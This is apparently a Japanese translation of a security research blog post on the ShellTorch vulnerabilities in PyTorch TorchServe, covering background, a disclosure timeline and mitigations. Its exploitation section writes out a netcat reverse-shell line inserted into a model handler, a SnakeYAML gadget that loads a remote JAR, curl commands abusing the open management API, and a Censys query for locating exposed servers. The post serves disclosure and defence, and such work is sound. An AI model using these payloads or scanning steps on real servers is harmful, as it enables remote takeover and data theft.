Shelltorch解説：Pytorchモデルサーバー（Torchserve）における複数の脆弱性（CVSS 9.9、CVSS 9.8）ウォークスルー

要点

2023年7月、Oligo Research Teamは、CVE-2023-43654（CVSS 9.8）を含む複数の新たな重大脆弱性を、PytorchのメンテナであるAmazonおよびMetaに開示しました。これらの脆弱性は総称してShellTorchと呼ばれ、PyTorch TorchServeにおけるリモートコード実行（RCE）につながり、最終的に攻撃者がサーバーへ完全かつ不正なアクセスを得ることを可能にします。

このアクセスを用いて、攻撃者は悪意あるAIモデルを挿入したり、さらにはサーバー全体の乗っ取りを実行したりできます。

Oligo Researchは、野外で公開されている、脆弱なTorchServeベースのインスタンスを数千件特定しました。これらのアプリケーションは脆弱であるだけでなく、知らぬ間に世界に向けて公開されており、直接的なリスクにさらされていました。

Fortune 500の企業を含む世界最大級の企業の一部でも、TorchServeベースのインスタンスが公開されていました。この脆弱性は直ちに攻撃者にとって「手の届く果実」となり、開示直後にはMetasploitの攻撃用セキュリティフレームワークに例示的なエクスプロイトが追加されたほどです。

ShellTorchの悪用は、まずAPIの誤設定脆弱性（デフォルト設定に存在）を悪用し、認証なしでTorchServe管理コンソールへリモートアクセスできる点から始まります。次に、リモートのサーバーサイドリクエストフォージェリ（SSRF）脆弱性を用いて、サーバーに悪意あるモデルをダウンロードさせ、任意のコード実行へとつなげます。

結果として、被害者サーバーの完全な乗っ取り、機密データの流出、AIモデルの悪意ある改変を可能にする壊滅的な攻撃となります。

本記事では、ShellTorch脆弱性について、どのように動作するのか、どのように発見されたのか、そしてOligoの研究者が世界最大級の組織で公開されていたインスタンスを数千件見つけた経緯を、段階的に深掘りします。また、AIモデル基盤とOSSの組み合わせがAIの新時代にもたらす新たなリスクという観点から、これらの発見の意味合いにも触れます。 

動機：AI + OSS = 大きな機会（そして大きな脆弱性）

AIは2023年から、可視性と重要性の面で新たな高みに到達しました。話題を生み、消費者に親しみやすいLLMが先頭を走りました。 
世界で最も強力な政府や企業も注目しています。今年、ホワイトハウスはAIの利用を規制し始め、組織に対してAIインフラとアプリケーションの保護を求める大統領令を公表しました。
オープンソースソフトウェア（OSS）は当初からAIを支えてきました。OSSの利用は開発とイノベーションを加速しますが、潜在的なセキュリティコストも伴います。攻撃者が広く使われるOSSパッケージに悪用可能な脆弱性を見つけると、そのパッケージに依存する多くのアプリケーションや組織を攻撃できるからです。
政府の規制当局は、サイバー損失の巨大な可能性を見て、オープンソースソフトウェアの安全確保に照準を合わせています。
Oligo Researchチームが、OSS上に構築されたAIフレームワークとアプリケーションというこの勇敢な新世界を検証しようとしたとき、明確なターゲットが浮上しました。PyTorchです。
私たちの研究は、単純な問いから始まりました。世界で最も人気があり、研究が進んだAIフレームワークであるPyTorchは、新しい種類の攻撃を実行するために利用できるのか？‍

これは重要な問いです。PyTorchは、ベースパッケージだけで2億回以上ダウンロードされ（1日で45万回超の日もある）、2023年末時点でGitHubのスターが74,400超という規模で、今日のAI/ML研究者にとって最有力の選択肢だからです。
もちろん、研究者がPyTorchを狙おうと考えたのは私たちが初めてではありません。世界で最も利用される機械学習フレームワークの一つであるPyTorchは魅力的な標的であり…攻撃者も確実に気づいています。
2022年、攻撃者は依存関係の混乱（dependency confusion、リポジトリハイジャックとも呼ばれる）を悪用してPyTorchパッケージを侵害し、PyPiから悪意あるパッケージを直接ダウンロードした約150万人のユーザーに感染させました。

ShellTorchの背景ストーリー

ShellTorchの影響と悪用の詳細を完全に理解するには、脆弱性そのものの基盤となる要素をいくつか議論することが重要です。これらは主に次の3つの概念に由来します。

1. AIモデルが一般にどのように学習され、デプロイされるか
2. 影響を受ける特定のパッケージ（TorchServe）
3. TorchServeがどのように構築され、利用されるか

AIモデルが一般にどのように学習され、デプロイされるか 

ShellTorchはモデルサービングに依存しているため、まずは本番環境でモデルがどのように提供（デプロイ）されるかを見ていきましょう。
本番環境でモデルを活用するには、「推論（Inference）」と呼ばれる機能が必要で、新しいデータに対して予測を行います。簡単に言えば、モデルは関数であり、F(x) = y です。

xに基づいてyを予測したく、Fが私たちのモデルです。この関数（「推論」）はループで実行され、通常はCUDAやグラフコンパイラを用いた最適化済み実行グラフ上で行われます。一般的には、GPU（Nvidia、AMD、Intel、Qualcomm）、TPU（Google）、または特殊CPU（Amazon、Intel）などの専用ハードウェアアクセラレータ上で動作する推論サーバー内で実行されます。各ハードウェアには固有の利点がありますが、現在、ほとんどの推論サーバーはGPUを使用しています。推論サーバーがなければ、ハードウェア最適化のためにGPUをスケールさせることは不可能です。

利用可能なデプロイ方法はいくつかあります（アプリケーション内にモデルを埋め込む、オンプレミスでデプロイする等）が、モデルサービングを統合する最も一般的な方法は、読み込まれたモデルを管理・操作するための超高速で安定した APIを実装する独立したサービス（またはマイクロサービス）として分離することです。

from ts.torch_handler.base_handler import BaseHandler
class MyHandler(BaseHandler):
    def initialize(self, context):
        """
        このメソッドはハンドラが初期化されるときに呼び出されます。
        ここで任意のセットアップ処理を実行できます。
        """
        self.model = self.load_model()  # ここでPyTorchモデルを読み込みます
    def preprocess(self, data):
        """
        推論の前に受信リクエストデータを前処理します。
        """
        # 入力データに必要な前処理を実行
        return preprocessed_data
    def inference(self, preprocessed_data):
        """
        前処理済みデータに対して実際の推論を実行します。
        """
        with torch.no_grad():
            output = self.model(preprocessed_data)
        return output
    def postprocess(self, inference_output):
        """
        レスポンス送信前に必要に応じて推論出力を後処理します。
        """
        # 出力に必要な後処理を実行
        return processed_output

悪用 

AmazonおよびMetaの要請により、ユーザーがTorchServeサーバーにパッチを適用するための十分な時間を確保できるよう、私たちはShellTorchに関する情報の公開を控えることにしました。

しかし、Oligoが技術詳細を公開しなくても、Metasploitにはすでに、SnakeYAMLの脆弱性とSSRF脆弱性を組み合わせて完全なチェーンRCEを実現するエクスプロイトが存在します。このエクスプロイトは、Metasploitの所有者であるRapid7によってmetasploitに追加されました。

しかし今こそ、SnakeYAML脆弱性とSSRF脆弱性（CVE-2023-43654）を連鎖させなくてもRCEに到達できる、さらに簡単な別のエクスプロイトについて議論する時です。

PyTorchのモデル定義（以下参照）はhandler.pyを使用します。これはPythonコードです。私たちはこのPythonコードを制御でき、制御下のコードを実行するために利用できます。

それでは、エクスプロイトの詳細とフローに踏み込みましょう。

管理APIはデフォルトで開放されているため、新しいワークフローを登録できます。SSRFを使って、次のようにリモートからWARファイルを指定できます： ‍

Curl -X POST http://:/workflows?url=/malicious_workflow.WAR

脆弱な.WAR設定は、torch-workflow-archiver:‍を使用して生成できます。

torch-workflow-archiver --workflow-name my_workflow --spec-file spec.yaml --handler handler.py

このプロセスでは2つのファイルが必要です：

1. handler.py – 上述のとおり、デプロイされたモデルのカスタム推論ロジックを定義します。
2. Spec.yaml – 仕様ファイルはワークフローのモデル設定を記述し、readSpecFile 関数への入力となります。

handler.py を制御して、例えば初期化関数を編集することで、SSRF脆弱性（CVE-2023-43654）単体でもコード実行を達成できます：

 def initialize(self, context):
        """
        このメソッドはハンドラが初期化されるときに呼び出されます。
        ここで任意のセットアップ処理を実行できます。
        """
        self.model = self.load_model()  # ここでPyTorchモデルを読み込みます
	# 悪意あるコード
import os
cmd = ('/bin/sh -i 2>&1 | nc remote_ip') 
os.system(cmd)	

SnakeYAML脆弱性を悪用するには、脆弱なJavaオブジェクトを含むYAML値を使用します：‍

!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http:///exploit.jar/"]]]]

このガジェットはScriptEngineManager を使用して、リモートURLからJavaクラスをロードします。

脆弱なYAMLワークフロー仕様ファイル：

ペイロードを含む次のJavaパッケージをコンパイルします：

次のコマンドでこのJavaパッケージをコンパイルします：

[*] javac src/oligosec/YamlSecurity.java

[*] jar -cvf yaml-payload.jar -C src/ .

最後に、悪意ある.WARファイルをアップロードしてRCEを開始します。これにより悪意あるJavaオブジェクトのデシリアライズがトリガーされ、ひいては私たちが制御するリモートJARがダウンロードされ実行されます。

curl -X POST http://:8081/workflows?url=/my_workflow.war

デモ

ShellTorchを自分で試してみよう！

影響を受けているかどうかを知るには？

• dockerイメージを使って悪用を実証するエンドツーエンドのPOCを公開しました。‍
• https://github.com/OligoCyberSecurity/CVE-2023-43654‍
• このPOCは、オープンソース化したシンプルなスクリプトShellTorch-Checkerに基づいており、現在のTorchServeデプロイメントがCVE-2023-43654に対して脆弱かどうかを教えてくれます：
  ‍

bash <(curl https://raw.githubusercontent.com/OligoCyberSecurity/shelltorch-checker/main/shelltorch_checker.yaml)

では…誰が脆弱なのか？‍

OSSにおける「デフォルトの力」はドミノ効果を生みます。その結果、TorchServeを利用しており、RCEチェーンのShellTorch脆弱性の影響も受ける公開オープンソースプロジェクトやフレームワークを特定しました。 

最も広く使われている脆弱なプロジェクトには次が含まれます： 

1. AWS Neuron
2. Kubeflow
3. Kserve‍
4. MLflow‍
5. AnimatedDrawings‍
6. vertex-ai-samples‍
7. mmdetection‍

TorchServeサーバーを露出させた誤設定脆弱性は、AmazonおよびGoogleの独自DLP（Deep Learning Containers）Dockerイメージにもデフォルトで存在します。さらに脆弱なのは、最大手の機械学習サービスプロバイダです。セルフマネージドのAmazon AWS SageMaker、EKS、AKS、セルフマネージドのGoogle Vertex AI、さらには有名なKServe（Kubernetes上の標準モデル推論プラットフォーム）や、TorchServe上に構築された他の多くの主要プロジェクト／製品も含まれます。

本番環境でTorchServeを使う方法はいくつかあります。TorchServe環境が脆弱な問題にさらされているかを素早く判断できるよう、このマトリクスを作成しました：

私たちは「デフォルトの力」を信じているため、インターネットからアクセス可能な公開TorchServeサーバーがどれほどあるのかを知りたいと思いました。検証のため、脆弱で露出したTorchServeインスタンスのネットワークスキャンを実施しました。

デフォルトの管理APIに空のリクエストでアクセスすると、次のレスポンスが返ります。

{
  "code": 405,
  "type": "MethodNotAllowedException",
  "message": "要求されたメソッドは許可されていません。APIドキュメントを参照してください。"
}

この固有のレスポンスにより、世界中で露出しているTorchServe脆弱性を識別できます。私たちは次のクエリでCensysを使用しました。

services.http.response.body_hashes:441b3cbdfd81a46cbf9d87356bf7a8bf2ca57f32

シンプルなIPスキャナを使って、現在攻撃に対して完全に露出しているIPアドレスを数万件見つけました。

当然、それらが誰のものかを知る必要がありました。結果として、これらの脆弱なIPアドレスには、世界最大級の組織（Fortune 100の一部）や国家政府さえ含まれており、無数のAIユーザーを潜在的に脅かしていました。

ただし、TorchServeが公開されていなくてもリスクがある点は重要です。localhost攻撃は有効な攻撃ベクトルです。多くの開発者は、localhost（コンピュータの内部ホスト名）にバインドされたサービスはインターネットから狙えないと誤って信じています。しかし、アプリケーションがローカルに露出している管理インターフェースやAPIは、内部ネットワークにとってリスクです。

悪意あるモデルをアップロードできたことで、別の攻撃ベクトルも検討することになりました。HuggingFaceのような、既知で信頼されるAIコミュニティやプラットフォームへの感染です。‍

私たちは、ペイロードを含む悪意あるYAMLファイルを含めた悪意あるモデルをアップロードすることに成功しました。YAMLファイルがセキュリティ目的でスキャンされていないことも確認しました。多くのエンドユーザーに感染させることもできたはずですが、素晴らしいHuggingFaceプラットフォームの信頼性を損ないたくありませんでした。私たちは、オープンソースAIインフラに依存する新たな潜在的脅威と攻撃ベクトルを理解するのに十分な範囲を示したかっただけです。

最も信頼されるAI OSSプラットフォームであるTorchServeを突くことで、私たちはAIインフラの中核、すなわちアプリ層を突きました。被害の可能性は巨大で、非常に現実的です。機械学習モデルの窃取や汚染といった理論的問題に限られなくなりました。

悪意あるモデル：AIの「井戸」を汚染し得る新たな脅威

攻撃者は、モデルを支配下に置いた後、何ができるのでしょうか？

OWASPが今年初めにLLM向けTop 10を公開した際、私たちの研究者は特にLLM05に注目しました。「サプライチェーン脆弱性」に焦点を当てていたためです。私たちは即座に、暗黙の脅威を思い浮かべました。すなわち、侵害された推論サーバーにさまざまな方法でデプロイされ得る「悪意あるモデル」です。

サプライチェーン攻撃はAIエコシステム全体に影響し得ます。OWASP TOP 10ではモデル注入やRCEが明示的に言及されていなかったものの、私たちはモデルをコードとして扱います。モデルはプログラムであり、ユーザー向け製品にまで伝播し得ます。

ShellTorch脆弱性によって付与される高い権限を使えば、破壊と混乱を生み出す可能性はほぼ無限です。

攻撃者が本番環境で稼働しモデルサービングを担うTorchServeインスタンスを攻撃できた場合、認証や認可なしに、ターゲットサーバーへ流入・流出する機密データ（あるいはAIモデルそのもの）を閲覧、改ざん、窃取、削除できてしまいます。

AIモデルが侵害されて誤ったデータや結果を返すようになると、その影響はAIモデルが通常どのように使われているかに依存します。例えば、顧客問い合わせに回答するLLMが侵害された場合、ユーザー入力に対して攻撃的、不正確、あるいは危険な提案を返し始める可能性があります。これは大きなコストにつながり得ます。最近、Air Canadaは、AIチャットボットが遺族向け割引運賃に関して誤った助言をした後、規制当局により顧客への補償を強いられました。

コンピュータビジョンの領域では、これらのモデルが自動意思決定に依存されることが多く、時には人間がその判断が妥当か確認しない場合もあるため、AIモデル侵害はさらに危険になり得ます。

車両の溶接欠陥を検出するコンピュータビジョンモデルや、自動運転車の進路上の障害物を検出するモデルが侵害された場合の影響を考えてみてください。悪意あるモデルを用いることで、攻撃者は欠陥車両を見逃したまま生産ラインから流出させたり、衝突を引き起こすために自動運転車を混雑した交差点へ進入させたり、道路標識に従わせなかったり、歩行者に危害を加えたりできる可能性があります。

人間の精査なしに自律的意思決定へAIモデルが依存されるほど、悪意あるモデルが現実の具体的被害をもたらす可能性は高まります。AIインフラを利用する企業は、AIモデルが意思決定を駆動する際にどのように信頼されているかを認識し、AIインフラの悪用によって生じる潜在的な「単一障害点」を抑える必要があります。

AIモデルの開発と学習は困難でコストもかかります。うまく動作するモデルは、企業が持つ最も価値ある資産の一つになり得ます。例えばNetflixのコンテンツ推薦モデルがどれほど価値あるものか、そして競合他社がどれほどそれを見たがるかを考えてみてください。これらのモデルは窃取やその他の攻撃にさらされ得ることを念頭に置き、それらをホストするシステムには強固なセキュリティ保護とフェイルセーフが必要です。自動意思決定が巨大な損失の可能性を生み出さないようにするためです。

重要なポイント

ShellTorchの発見は、Oligo Research Teamが最も愛する2つの領域—オープンソース脆弱性研究とAI—を組み合わせた、目を見開かされる経験でした。

近年のAIの急激な台頭、そして世界で最も人気のAIインフラプロジェクトが複雑なオープンソース依存関係の網に依存している状況を見て、私たちの研究者は、AIリスクとOSSリスクが収束するのは時間の問題だと確信していました。 

そして今、OWASPが今年初めにLLM向けTop Tenで仮説として提示した「悪意あるモデル」脆弱性が、現実に存在し、悪用可能で、潜在的に非常に危険であることを示す証拠が得られました。 

この発見が、AIインフラとOSSの交差点に関するさらなるセキュリティ研究を促し、AIモデルへの無制限な依存が意思決定にもたらし得るリスクについて、世界最大級の企業で議論が生まれることを願っています。

何がどのように修正されたか

Oligo Securityは、これらの問題についてPyTorch（Amazon & Meta）のメンテナに対し、責任ある開示プロセスを開始しました。

これらの問題の一部はバージョン0.8.2で修正されるか、警告により対処されましたが、SSRF脆弱性は、ユーザーがallowed_urlsパラメータを上書きしない限り、現在も存在します。バージョン0.8.1以下を使用しているインスタンスは直ちに更新すべきです。デフォルト設定では一部の問題を防げず、ユーザーが脆弱なままになる可能性があるため、以下で提案するように緩和策を講じることが重要です。 

開示タイムライン： 

• 2023年7月23日 Oligoの研究がAWS & MetaのTorchServeメンテナに報告。
• 2023年8月1日 AWSが初回アナウンスに応答。
• 2023年8月7日  完全なレポートを送付。
• 2023年8月8日 SnakeYAML脆弱性の問題がmasterブランチで修正。
• 2023年8月12日 TorchServeメンテナンスが問題を認識。
• 2023年8月28日 TorchServeがバージョン0.8.2をリリース。デフォルト設定に関する警告を含む。 
• 2023年9月12日 AmazonがDLCを更新し、全世界に変更を展開。
• 2023年9月28日 MitreがCVE-2023-43654およびCVE-2022-1471をスコア9.8および9.9で承認
• 2023年10月2日 Metaがデフォルトの管理APIを修正し、管理API誤設定を緩和。 
• 2023年10月2日 AmazonがShellTorchに関してユーザー向けにセキュリティアドバイザリを発行。
• 2023年10月3日 GoogleがShellTorchに関してユーザー向けにセキュリティアドバイザリを発行。

Oligo Research Team

Oligo Research Teamは、オープンソースソフトウェアにおける新たな攻撃ベクトルに焦点を当てる経験豊富な研究者グループです。チームは重大な問題を特定し、その発見についてOligoの顧客および技術コミュニティに警告します。

チームはこれまでに、Apache Cassandra、Atlassian Confluence、ShadowRay、そしてPyTorchを含む、人気のOSSプロジェクトやライブラリにおける数十件の脆弱性を報告してきました。
‍
また、DefCon、BlackHat、OWASP、PwnToOwn、BSIDES、CNCFなど、さまざまなイベントで研究成果を発表しています。

TwitterまたはLinkedInで彼らの活動をフォローしてください。